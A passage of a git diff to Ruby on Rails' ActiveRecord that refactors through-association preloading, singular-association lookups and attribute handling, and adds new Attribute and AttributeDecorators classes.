module ThroughAssociation #:nodoc:
-
def through_reflection
reflection.through_reflection
end
@@ -11,50 +10,85 @@ module ActiveRecord
reflection.source_reflection
end
- def associated_records_by_owner
- through_records = through_records_by_owner
+ def associated_records_by_owner(preloader)
+ preloader.preload(owners,
+ through_reflection.name,
+ through_scope)
- Preloader.new(through_records.values.flatten, source_reflection.name, reflection_scope).run
+ through_records = owners.map do |owner|
+ association = owner.association through_reflection.name
- through_records.each do |owner, records|
- records.map! { |r| r.send(source_reflection.name) }.flatten!
- records.compact!
+ [owner, Array(association.reader)]
end
- end
- private
+ reset_association owners, through_reflection.name
+
+ middle_records = through_records.flat_map { |(_,rec)| rec }
+
+ preloaders = preloader.preload(middle_records,
+ source_reflection.name,
+ reflection_scope)
- def through_records_by_owner
- Preloader.new(owners, through_reflection.name, through_scope).run
+ @preloaded_records = preloaders.flat_map(&:preloaded_records)
+
+ middle_to_pl = preloaders.each_with_object({}) do |pl,h|
+ pl.owners.each { |middle|
+ h[middle] = pl
+ }
+ end
+
+ record_offset = {}
+ @preloaded_records.each_with_index do |record,i|
+ record_offset[record] = i
+ end
- Hash[owners.map do |owner|
- through_records = Array.wrap(owner.send(through_reflection.name))
+ through_records.each_with_object({}) { |(lhs,center),records_by_owner|
+ pl_to_middle = center.group_by { |record| middle_to_pl[record] }
- # Dont cache the association - we would only be caching a subset
- if reflection.options[:source_type] && through_reflection.collection?
- owner.association(through_reflection.name).reset
+ records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles|
+ rhs_records = middles.flat_map { |r|
+ association = r.association source_reflection.name
+
+ association.reader
+ }.compact
+
+ rhs_records.sort_by { |rhs| record_offset[rhs] }
end
+ }
+ end
+
+ private
+
+ def reset_association(owners, association_name)
+ should_reset = (through_scope != through_reflection.klass.unscoped) ||
+ (reflection.options[:source_type] && through_reflection.collection?)
- [owner, through_records]
- end]
+ # Don't cache the association - we would only be caching a subset
+ if should_reset
+ owners.each { |owner|
+ owner.association(association_name).reset
+ }
+ end
end
+
def through_scope
- through_scope = through_reflection.klass.unscoped
+ scope = through_reflection.klass.unscoped
if options[:source_type]
- through_scope.where! reflection.foreign_type => options[:source_type]
+ scope.where! reflection.foreign_type => options[:source_type]
else
unless reflection_scope.where_values.empty?
- through_scope.includes_values = reflection_scope.values[:includes] || options[:source]
- through_scope.where_values = reflection_scope.values[:where]
+ scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
+ scope.where_values = reflection_scope.values[:where]
+ scope.bind_values = reflection_scope.bind_values
end
- through_scope.order! reflection_scope.values[:order]
- through_scope.references! reflection_scope.values[:references]
+ scope.references! reflection_scope.values[:references]
+ scope = scope.order reflection_scope.values[:order] if scope.eager_loading?
end
- through_scope
+ scope
end
end
end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index 10238555f0..c44242a0f0 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -18,11 +18,11 @@ module ActiveRecord
end
def create(attributes = {}, &block)
- create_record(attributes, &block)
+ _create_record(attributes, &block)
end
def create!(attributes = {}, &block)
- create_record(attributes, true, &block)
+ _create_record(attributes, true, &block)
end
def build(attributes = {})
@@ -38,11 +38,33 @@ module ActiveRecord
scope.scope_for_create.stringify_keys.except(klass.primary_key)
end
+ def get_records
+ if reflection.scope_chain.any?(&:any?) ||
+ scope.eager_loading? ||
+ klass.current_scope ||
+ klass.default_scopes.any?
+
+ return scope.limit(1).to_a
+ end
+
+ conn = klass.connection
+ sc = reflection.association_scope_cache(conn, owner) do
+ StatementCache.create(conn) { |params|
+ as = AssociationScope.create { params.bind }
+ target_scope.merge(as.scope(self, conn)).limit(1)
+ }
+ end
+
+ binds = AssociationScope.get_bind_values(owner, reflection.chain)
+ sc.execute binds, klass, klass.connection
+ end
+
def find_target
- scope.first.tap { |record| set_inverse_instance(record) }
+ if record = get_records.first
+ set_inverse_instance record
+ end
end
- # Implemented by subclasses
def replace(record)
raise NotImplementedError, "Subclasses must implement a replace(record) method"
end
@@ -51,7 +73,7 @@ module ActiveRecord
replace(record)
end
- def create_record(attributes, raise_error = false)
+ def _create_record(attributes, raise_error = false)
record = build_record(attributes)
yield(record) if block_given?
saved = record.save
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index 43520142bf..e47e81aa0f 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -3,7 +3,7 @@ module ActiveRecord
module Associations
module ThroughAssociation #:nodoc:
- delegate :source_reflection, :through_reflection, :chain, :to => :reflection
+ delegate :source_reflection, :through_reflection, :to => :reflection
protected
@@ -13,10 +13,16 @@ module ActiveRecord
# 2. To get the type conditions for any STI models in the chain
def target_scope
scope = super
- chain[1..-1].each do |reflection|
- scope = scope.merge(
- reflection.klass.all.with_default_scope.
- except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+ reflection.chain.drop(1).each do |reflection|
+ relation = reflection.klass.all
+
+ reflection_scope = reflection.scope
+ if reflection_scope && reflection_scope.arity.zero?
+ relation.merge!(reflection_scope)
+ end
+
+ scope.merge!(
+ relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)
)
end
scope
@@ -39,12 +45,16 @@ module ActiveRecord
def construct_join_attributes(*records)
ensure_mutable
- join_attributes = {
- source_reflection.foreign_key =>
- records.map { |record|
- record.send(source_reflection.association_primary_key(reflection.klass))
- }
- }
+ if source_reflection.association_primary_key(reflection.klass) == reflection.klass.primary_key
+ join_attributes = { source_reflection.name => records }
+ else
+ join_attributes = {
+ source_reflection.foreign_key =>
+ records.map { |record|
+ record.send(source_reflection.association_primary_key(reflection.klass))
+ }
+ }
+ end
if options[:source_type]
join_attributes[source_reflection.foreign_type] =
@@ -61,18 +71,17 @@ module ActiveRecord
# Note: this does not capture all cases, for example it would be crazy to try to
# properly support stale-checking for nested associations.
def stale_state
- if through_reflection.macro == :belongs_to
+ if through_reflection.belongs_to?
owner[through_reflection.foreign_key] && owner[through_reflection.foreign_key].to_s
end
end
def foreign_key_present?
- through_reflection.macro == :belongs_to &&
- !owner[through_reflection.foreign_key].nil?
+ through_reflection.belongs_to? && !owner[through_reflection.foreign_key].nil?
end
def ensure_mutable
- if source_reflection.macro != :belongs_to
+ unless source_reflection.belongs_to?
raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
end
end
diff --git a/activerecord/lib/active_record/attribute.rb b/activerecord/lib/active_record/attribute.rb
new file mode 100644
index 0000000000..8cc1904575
--- /dev/null
+++ b/activerecord/lib/active_record/attribute.rb
@@ -0,0 +1,131 @@
+module ActiveRecord
+ class Attribute # :nodoc:
+ class << self
+ def from_database(name, value, type)
+ FromDatabase.new(name, value, type)
+ end
+
+ def from_user(name, value, type)
+ FromUser.new(name, value, type)
+ end
+
+ def null(name)
+ Null.new(name)
+ end
+
+ def uninitialized(name, type)
+ Uninitialized.new(name, type)
+ end
+ end
+
+ attr_reader :name, :value_before_type_cast, :type
+
+ # This method should not be called directly.
+ # Use #from_database or #from_user
+ def initialize(name, value_before_type_cast, type)
+ @name = name
+ @value_before_type_cast = value_before_type_cast
+ @type = type
+ end
+
+ def value
+ # `defined?` is cheaper than `||=` when we get back falsy values
+ @value = original_value unless defined?(@value)
+ @value
+ end
+
+ def original_value
+ type_cast(value_before_type_cast)
+ end
+
+ def value_for_database
+ type.type_cast_for_database(value)
+ end
+
+ def changed_from?(old_value)
+ type.changed?(old_value, value, value_before_type_cast)
+ end
+
+ def changed_in_place_from?(old_value)
+ type.changed_in_place?(old_value, value)
+ end
+
+ def with_value_from_user(value)
+ self.class.from_user(name, value, type)
+ end
+
+ def with_value_from_database(value)
+ self.class.from_database(name, value, type)
+ end
+
+ def type_cast(*)
+ raise NotImplementedError
+ end
+
+ def initialized?
+ true
+ end
+
+ def ==(other)
+ self.class == other.class &&
+ name == other.name &&
+ value_before_type_cast == other.value_before_type_cast &&
+ type == other.type
+ end
+
+ protected
+
+ def initialize_dup(other)
+ if defined?(@value) && @value.duplicable?
+ @value = @value.dup
+ end
+ end
+
+ class FromDatabase < Attribute # :nodoc:
+ def type_cast(value)
+ type.type_cast_from_database(value)
+ end
+ end
+
+ class FromUser < Attribute # :nodoc:
+ def type_cast(value)
+ type.type_cast_from_user(value)
+ end
+ end
+
+ class Null < Attribute # :nodoc:
+ def initialize(name)
+ super(name, nil, Type::Value.new)
+ end
+
+ def value
+ nil
+ end
+
+ def with_value_from_database(value)
+ raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{name}`"
+ end
+ alias_method :with_value_from_user, :with_value_from_database
+ end
+
+ class Uninitialized < Attribute # :nodoc:
+ def initialize(name, type)
+ super(name, nil, type)
+ end
+
+ def value
+ if block_given?
+ yield name
+ end
+ end
+
+ def value_for_database
+ end
+
+ def initialized?
+ false
+ end
+ end
+ private_constant :FromDatabase, :FromUser, :Null, :Uninitialized
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
index 6c5e2ac05d..bf64830417 100644
--- a/activerecord/lib/active_record/attribute_assignment.rb
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -1,8 +1,8 @@
+require 'active_model/forbidden_attributes_protection'
module ActiveRecord
module AttributeAssignment
extend ActiveSupport::Concern
- include ActiveModel::DeprecatedMassAssignmentSecurity
include ActiveModel::ForbiddenAttributesProtection
# Allows you to set all the attributes by passing in a hash of attributes with
@@ -11,7 +11,19 @@ module ActiveRecord
# If the passed hash responds to <tt>permitted?</tt> method and the return value
# of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
# exception is raised.
+ #
+ # cat = Cat.new(name: "Gorby", status: "yawning")
+ # cat.attributes # => { "name" => "Gorby", "status" => "yawning", "created_at" => nil, "updated_at" => nil}
+ # cat.assign_attributes(status: "sleeping")
+ # cat.attributes # => { "name" => "Gorby", "status" => "sleeping", "created_at" => nil, "updated_at" => nil }
+ #
+ # New attributes will be persisted in the database when the object is saved.
+ #
+ # Aliased to <tt>attributes=</tt>.
def assign_attributes(new_attributes)
+ if !new_attributes.respond_to?(:stringify_keys)
+ raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."
+ end
return if new_attributes.blank?
attributes = new_attributes.stringify_keys
@@ -44,7 +56,7 @@ module ActiveRecord
if respond_to?("#{k}=")
raise
else
- raise UnknownAttributeError, "unknown attribute: #{k}"
+ raise UnknownAttributeError.new(self, k)
end
end
@@ -75,13 +87,13 @@ module ActiveRecord
end
end
unless errors.empty?
- error_descriptions = errors.map { |ex| ex.message }.join(",")
+ error_descriptions = errors.map(&:message).join(",")
raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes [#{error_descriptions}]"
end
end
def extract_callstack_for_multiparameter_attributes(pairs)
- attributes = { }
+ attributes = {}
pairs.each do |(multiparameter_name, value)|
attribute_name = multiparameter_name.split("(").first
@@ -103,7 +115,7 @@ module ActiveRecord
end
class MultiparameterAttribute #:nodoc:
- attr_reader :object, :name, :values, :column
+ attr_reader :object, :name, :values, :cast_type
def initialize(object, name, values)
@object = object
@@ -114,39 +126,39 @@ module ActiveRecord
def read_value
return if values.values.compact.empty?
- @column = object.class.reflect_on_aggregation(name.to_sym) || object.column_for_attribute(name)
- klass = column.klass
+ @cast_type = object.type_for_attribute(name)
+ klass = cast_type.klass
if klass == Time
read_time
elsif klass == Date
read_date
else
- read_other(klass)
+ read_other
end
end
private
def instantiate_time_object(set_values)
- if object.class.send(:create_time_zone_conversion_attribute?, name, column)
+ if object.class.send(:create_time_zone_conversion_attribute?, name, cast_type)
Time.zone.local(*set_values)
else
- Time.time_with_datetime_fallback(object.class.default_timezone, *set_values)
+ Time.send(object.class.default_timezone, *set_values)
end
end
def read_time
- # If column is a :time (and not :date or :timestamp) there is no need to validate if
+ # If column is a :time (and not :date or :datetime) there is no need to validate if
# there are year/month/day fields
- if column.type == :time
+ if cast_type.type == :time
# if the column is a time set the values to their defaults as January 1, 1970, but only if they're nil
{ 1 => 1970, 2 => 1, 3 => 1 }.each do |key,value|
values[key] ||= value
end
else
# else column is a timestamp, so if Date bits were not provided, error
- validate_missing_parameters!([1,2,3])
+ validate_required_parameters!([1,2,3])
# If Date bits were provided but blank, then return nil
return if blank_date_parameter?
@@ -169,17 +181,16 @@ module ActiveRecord
end
end
- def read_other(klass)
+ def read_other
max_position = extract_max_param
positions = (1..max_position)
- validate_missing_parameters!(positions)
+ validate_required_parameters!(positions)
- set_values = values.values_at(*positions)
- klass.new(*set_values)
+ values.slice(*positions)
end
# Checks whether some blank date parameter exists. Note that this is different
- # than the validate_missing_parameters! method, since it just checks for blank
+ # than the validate_required_parameters! method, since it just checks for blank
# positions instead of missing ones, and does not raise in case one blank position
# exists. The caller is responsible to handle the case of this returning true.
def blank_date_parameter?
@@ -187,7 +198,7 @@ module ActiveRecord
end
# If some position is not provided, it errors out a missing parameter exception.
- def validate_missing_parameters!(positions)
+ def validate_required_parameters!(positions)
if missing_parameter = positions.detect { |position| !values.key?(position) }
raise ArgumentError.new("Missing Parameter - #{name}(#{missing_parameter})")
end
diff --git a/activerecord/lib/active_record/attribute_decorators.rb b/activerecord/lib/active_record/attribute_decorators.rb
new file mode 100644
index 0000000000..5b96623b6e
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_decorators.rb
@@ -0,0 +1,66 @@
+module ActiveRecord
+ module AttributeDecorators # :nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :attribute_type_decorations, instance_accessor: false # :internal:
+ self.attribute_type_decorations = TypeDecorator.new
+ end
+
+ module ClassMethods # :nodoc:
+ def decorate_attribute_type(column_name, decorator_name, &block)
+ matcher = ->(name, _) { name == column_name.to_s }
+ key = "_#{column_name}_#{decorator_name}"
+ decorate_matching_attribute_types(matcher, key, &block)
+ end
+
+ def decorate_matching_attribute_types(matcher, decorator_name, &block)
+ clear_caches_calculated_from_columns
+ decorator_name = decorator_name.to_s
+
+ # Create new hashes so we don't modify parent classes
+ self.attribute_type_decorations = attribute_type_decorations.merge(decorator_name => [matcher, block])
+ end
+
+ private
+
+ def add_user_provided_columns(*)
+ super.map do |column|
+ decorated_type = attribute_type_decorations.apply(column.name, column.cast_type)
+ column.with_type(decorated_type)
+ end
+ end
+ end
+
+ class TypeDecorator # :nodoc:
+ delegate :clear, to: :@decorations
+
+ def initialize(decorations = {})
+ @decorations = decorations
+ end
+
+ def merge(*args)
+ TypeDecorator.new(@decorations.merge(*args))
+ end
+
+ def apply(name, type)
+ decorations = decorators_for(name, type)
+ decorations.inject(type) do |new_type, block|
+ block.call(new_type)
+ end
+ end
+
+ private
+
+ def decorators_for(name, type)
+ matching(name, type).map(&:last)
+ end
+
+ def matching(name, type)
+ @decorations.values.select do |(matcher, _)|
+ matcher.call(name, type)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index e0bfdb8f3e..83fcefa64d 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,4 +1,7 @@
require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/string/filters'
+require 'mutex_m'
+require 'thread_safe'
module ActiveRecord
# = Active Record Attribute Methods
@@ -7,6 +10,7 @@ module ActiveRecord
include ActiveModel::AttributeMethods
included do
+ initialize_generated_modules
include Read
include Write
include BeforeTypeCast
@@ -15,29 +19,81 @@ module ActiveRecord
include TimeZoneConversion
include Dirty
include Serialization
+
+ delegate :column_for_attribute, to: :class
end
+ AttrNames = Module.new {
+ def self.set_name_cache(name, value)
+ const_name = "ATTR_#{name}"
+ unless const_defined? const_name
+ const_set const_name, value.dup.freeze
+ end
+ end
+ }
+
+ BLACKLISTED_CLASS_METHODS = %w(private public protected allocate new name parent superclass)
+
+ class AttributeMethodCache
+ def initialize
+ @module = Module.new
+ @method_cache = ThreadSafe::Cache.new
+ end
+
+ def [](name)
+ @method_cache.compute_if_absent(name) do
+ safe_name = name.unpack('h*').first
+ temp_method = "__temp__#{safe_name}"
+ ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+ @module.module_eval method_body(temp_method, safe_name), __FILE__, __LINE__
+ @module.instance_method temp_method
+ end
+ end
+
+ private
+
+ # Override this method in the subclasses for method body.
+ def method_body(method_name, const_name)
+ raise NotImplementedError, "Subclasses must implement a method_body(method_name, const_name) method."
+ end
+ end
+
+ class GeneratedAttributeMethods < Module; end # :nodoc:
+
module ClassMethods
+ def inherited(child_class) #:nodoc:
+ child_class.initialize_generated_modules
+ super
+ end
+
+ def initialize_generated_modules # :nodoc:
+ @generated_attribute_methods = GeneratedAttributeMethods.new { extend Mutex_m }
+ @attribute_methods_generated = false
+ include @generated_attribute_methods
+
+ super
+ end
+
# Generates all the attribute related methods for columns in the database
# accessors, mutators and query methods.
def define_attribute_methods # :nodoc:
- # Use a mutex; we don't want two thread simaltaneously trying to define
+ return false if @attribute_methods_generated
+ # Use a mutex; we don't want two threads simultaneously trying to define
# attribute methods.
- @attribute_methods_mutex.synchronize do
- return if attribute_methods_generated?
+ generated_attribute_methods.synchronize do
+ return false if @attribute_methods_generated
superclass.define_attribute_methods unless self == base_class
super(column_names)
@attribute_methods_generated = true
end
- end
-
- def attribute_methods_generated? # :nodoc:
- @attribute_methods_generated ||= false
+ true
end
def undefine_attribute_methods # :nodoc:
- super if attribute_methods_generated?
- @attribute_methods_generated = false
+ generated_attribute_methods.synchronize do
+ super if defined?(@attribute_methods_generated) && @attribute_methods_generated
+ @attribute_methods_generated = false
+ end
end
# Raises a <tt>ActiveRecord::DangerousAttributeError</tt> exception when an
@@ -56,28 +112,48 @@ module ActiveRecord
# # => false
def instance_method_already_implemented?(method_name)
if dangerous_attribute_method?(method_name)
- raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord"
+ raise DangerousAttributeError, "#{method_name} is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name."
end
if superclass == Base
super
else
- # If B < A and A defines its own attribute method, then we don't want to overwrite that.
- defined = method_defined_within?(method_name, superclass, superclass.generated_attribute_methods)
- defined && !ActiveRecord::Base.method_defined?(method_name) || super
+ # If ThisClass < ... < SomeSuperClass < ... < Base and SomeSuperClass
+ # defines its own attribute method, then we don't want to overwrite that.
+ defined = method_defined_within?(method_name, superclass, Base) &&
+ ! superclass.instance_method(method_name).owner.is_a?(GeneratedAttributeMethods)
+ defined || super
end
end
- # A method name is 'dangerous' if it is already defined by Active Record, but
+ # A method name is 'dangerous' if it is already (re)defined by Active Record, but
# not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
def dangerous_attribute_method?(name) # :nodoc:
method_defined_within?(name, Base)
end
- def method_defined_within?(name, klass, sup = klass.superclass) # :nodoc:
+ def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
if klass.method_defined?(name) || klass.private_method_defined?(name)
- if sup.method_defined?(name) || sup.private_method_defined?(name)
- klass.instance_method(name).owner != sup.instance_method(name).owner
+ if superklass.method_defined?(name) || superklass.private_method_defined?(name)
+ klass.instance_method(name).owner != superklass.instance_method(name).owner
+ else
+ true
+ end
+ else
+ false
+ end
+ end
+
+ # A class method is 'dangerous' if it is already (re)defined by Active Record, but
+ # not by any ancestors. (So 'puts' is not dangerous but 'new' is.)
+ def dangerous_class_method?(method_name)
+ BLACKLISTED_CLASS_METHODS.include?(method_name.to_s) || class_method_defined_within?(method_name, Base)
+ end
+
+ def class_method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc
+ if klass.respond_to?(name, true)
+ if superklass.respond_to?(name, true)
+ klass.method(name).owner != superklass.method(name).owner
else
true
end
@@ -114,41 +190,35 @@ module ActiveRecord
[]
end
end
- end
-
- # If we haven't generated any methods yet, generate them, then
- # see if we've created the method we're looking for.
- def method_missing(method, *args, &block) # :nodoc:
- unless self.class.attribute_methods_generated?
- self.class.define_attribute_methods
- if respond_to_without_attributes?(method)
- send(method, *args, &block)
- else
- super
+ # Returns the column object for the named attribute.
+ # Returns nil if the named attribute does not exist.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.new
+ # person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
+ # # => #<ActiveRecord::ConnectionAdapters::Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
+ #
+ # person.column_for_attribute(:nothing)
+ # # => nil
+ def column_for_attribute(name)
+ column = columns_hash[name.to_s]
+ if column.nil?
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `#column_for_attribute` will return a null object for non-existent
+ columns in Rails 5. Use `#has_attribute?` if you need to check for
+ an attribute's existence.
+ MSG
end
- else
- super
- end
- end
-
- def attribute_missing(match, *args, &block) # :nodoc:
- if self.class.columns_hash[match.attr_name]
- ActiveSupport::Deprecation.warn(
- "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \
- "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \
- "is a column of the table. If this error has happened through normal usage of Active " \
- "Record (rather than through your own code or external libraries), please report it as " \
- "a bug."
- )
+ column
end
-
- super
end
# A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
# <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
- # which will all return +true+. It also define the attribute methods if they have
+ # which will all return +true+. It also defines the attribute methods if they have
# not been generated.
#
# class Person < ActiveRecord::Base
@@ -163,8 +233,18 @@ module ActiveRecord
# person.respond_to('age?') # => true
# person.respond_to(:nothing) # => false
def respond_to?(name, include_private = false)
- self.class.define_attribute_methods unless self.class.attribute_methods_generated?
- super
+ return false unless super
+ name = name.to_s
+
+ # If the result is true then check for the select case.
+ # For queries selecting a subset of columns, return false for unselected columns.
+ # We check defined?(@attributes) not to issue warnings if called on objects that
+ # have been allocated but not yet initialized.
+ if defined?(@attributes) && self.class.column_names.include?(name)
+ return has_attribute?(name)
+ end
+
+ return true
end
# Returns +true+ if the given attribute is in the attributes hash, otherwise +false+.
@@ -177,7 +257,7 @@ module ActiveRecord
# person.has_attribute?('age') # => true
# person.has_attribute?(:nothing) # => false
def has_attribute?(attr_name)
- @attributes.has_key?(attr_name.to_s)
+ @attributes.key?(attr_name.to_s)
end
# Returns an array of names for the attributes available on this object.
@@ -201,31 +281,36 @@ module ActiveRecord
# person.attributes
# # => {"id"=>3, "created_at"=>Sun, 21 Oct 2012 04:53:04, "updated_at"=>Sun, 21 Oct 2012 04:53:04, "name"=>"Francesco", "age"=>22}
def attributes
- attribute_names.each_with_object({}) { |name, attrs|
- attrs[name] = read_attribute(name)
- }
+ @attributes.to_hash
end
# Returns an <tt>#inspect</tt>-like string for the value of the
- # attribute +attr_name+. String attributes are truncated upto 50
- # characters, and Date and Time attributes are returned in the
- # <tt>:db</tt> format. Other attributes return the value of
- # <tt>#inspect</tt> without modification.
+ # attribute +attr_name+. String attributes are truncated up to 50
+ # characters, Date and Time attributes are returned in the
+ # <tt>:db</tt> format, Array attributes are truncated up to 10 values.
+ # Other attributes return the value of <tt>#inspect</tt> without
+ # modification.
#
# person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
#
# person.attribute_for_inspect(:name)
- # # => "\"David Heinemeier Hansson David Heinemeier Hansson D...\""
+ # # => "\"David Heinemeier Hansson David Heinemeier Hansson ...\""
#
# person.attribute_for_inspect(:created_at)
# # => "\"2012-10-22 00:15:07\""
+ #
+ # person.attribute_for_inspect(:tag_ids)
+ # # => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]"
def attribute_for_inspect(attr_name)
value = read_attribute(attr_name)
if value.is_a?(String) && value.length > 50
- "#{value[0..50]}...".inspect
+ "#{value[0, 50]}...".inspect
elsif value.is_a?(Date) || value.is_a?(Time)
%("#{value.to_s(:db)}")
+ elsif value.is_a?(Array) && value.size > 10
+ inspected = value.first(10).inspect
+ %(#{inspected[0...-1]}, ...])
else
value.inspect
end
@@ -239,39 +324,24 @@ module ActiveRecord
# class Task < ActiveRecord::Base
# end
#
- # person = Task.new(title: '', is_done: false)
- # person.attribute_present?(:title) # => false
- # person.attribute_present?(:is_done) # => true
- # person.name = 'Francesco'
- # person.is_done = true
- # person.attribute_present?(:title) # => true
- # person.attribute_present?(:is_done) # => true
+ # task = Task.new(title: '', is_done: false)
+ # task.attribute_present?(:title) # => false
+ # task.attribute_present?(:is_done) # => true
+ # task.title = 'Buy milk'
+ # task.is_done = true
+ # task.attribute_present?(:title) # => true
+ # task.attribute_present?(:is_done) # => true
def attribute_present?(attribute)
- value = read_attribute(attribute)
+ value = _read_attribute(attribute)
!value.nil? && !(value.respond_to?(:empty?) && value.empty?)
end
- # Returns the column object for the named attribute. Returns +nil+ if the
- # named attribute not exists.
- #
- # class Person < ActiveRecord::Base
- # end
- #
- # person = Person.new
- # person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
- # # => #<ActiveRecord::ConnectionAdapters::SQLite3Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
- #
- # person.column_for_attribute(:nothing)
- # # => nil
- def column_for_attribute(name)
- # FIXME: should this return a null object for columns that don't exist?
- self.class.columns_hash[name.to_s]
- end
-
# Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
- # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+ # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
# <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
#
+ # Note: +:id+ is always present.
+ #
# Alias for the <tt>read_attribute</tt> method.
#
# class Person < ActiveRecord::Base
@@ -305,13 +375,6 @@ module ActiveRecord
protected
- def clone_attributes(reader_method = :read_attribute, attributes = {}) # :nodoc:
- attribute_names.each do |name|
- attributes[name] = clone_attribute_value(reader_method, name)
- end
- attributes
- end
-
def clone_attribute_value(reader_method, attribute_name) # :nodoc:
value = send(reader_method, attribute_name)
value.duplicable? ? value.clone : value
@@ -328,13 +391,14 @@ module ActiveRecord
end
def attribute_method?(attr_name) # :nodoc:
- defined?(@attributes) && @attributes.include?(attr_name)
+ # We check defined? because Syck calls respond_to? before actually calling initialize.
+ defined?(@attributes) && @attributes.key?(attr_name)
end
private
# Returns a Hash of the Arel::Attributes and attribute values that have been
- # type casted for use in an Arel insert/update method.
+ # typecasted for use in an Arel insert/update method.
def arel_attributes_with_values(attribute_names)
attrs = {}
arel_table = self.class.arel_table
@@ -347,16 +411,16 @@ module ActiveRecord
# Filters the primary keys and readonly attributes from the attribute names.
def attributes_for_update(attribute_names)
- attribute_names.select do |name|
- column_for_attribute(name) && !pk_attribute?(name) && !readonly_attribute?(name)
+ attribute_names.reject do |name|
+ readonly_attribute?(name)
end
end
# Filters out the primary keys, from the attribute names, when the primary
# key is to be generated (e.g. the id attribute has no value).
def attributes_for_create(attribute_names)
- attribute_names.select do |name|
- column_for_attribute(name) && !(pk_attribute?(name) && id.nil?)
+ attribute_names.reject do |name|
+ pk_attribute?(name) && id.nil?
end
end
@@ -365,14 +429,11 @@ module ActiveRecord
end
def pk_attribute?(name)
- column_for_attribute(name).primary
+ name == self.class.primary_key
end
def typecasted_attribute_value(name)
- # FIXME: we need @attributes to be used consistently.
- # If the values stored in @attributes were already typecasted, this code
- # could be simplified
- read_attribute(name)
+ _read_attribute(name)
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
index a23baeaced..fd61febd57 100644
--- a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -41,8 +41,9 @@ module ActiveRecord
# task.read_attribute_before_type_cast('id') # => '1'
# task.read_attribute('completed_on') # => Sun, 21 Oct 2012
# task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+ # task.read_attribute_before_type_cast(:completed_on) # => "2012-10-21"
def read_attribute_before_type_cast(attr_name)
- @attributes[attr_name]
+ @attributes[attr_name.to_s].value_before_type_cast
end
# Returns a hash of attributes before typecasting and deserialization.
@@ -56,7 +57,7 @@ module ActiveRecord
# task.attributes_before_type_cast
# # => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>"2012-10-21", "created_at"=>nil, "updated_at"=>nil}
def attributes_before_type_cast
- @attributes
+ @attributes.values_before_type_cast
end
private
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index 0333605eac..033e71f7b9 100644
--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -1,5 +1,4 @@
require 'active_support/core_ext/module/attribute_accessors'
-require 'active_support/deprecation'
module ActiveRecord
module AttributeMethods
@@ -15,24 +14,12 @@ module ActiveRecord
class_attribute :partial_writes, instance_writer: false
self.partial_writes = true
-
- def self.partial_updates=(v); self.partial_writes = v; end
- def self.partial_updates?; partial_writes?; end
- def self.partial_updates; partial_writes; end
-
- ActiveSupport::Deprecation.deprecate_methods(
- singleton_class,
- :partial_updates= => :partial_writes=,
- :partial_updates? => :partial_writes?,
- :partial_updates => :partial_writes
- )
end
# Attempts to +save+ the record and clears changed attributes if successful.
def save(*)
if status = super
- @previously_changed = changes
- @changed_attributes.clear
+ changes_applied
end
status
end
@@ -40,75 +27,154 @@ module ActiveRecord
# Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
def save!(*)
super.tap do
- @previously_changed = changes
- @changed_attributes.clear
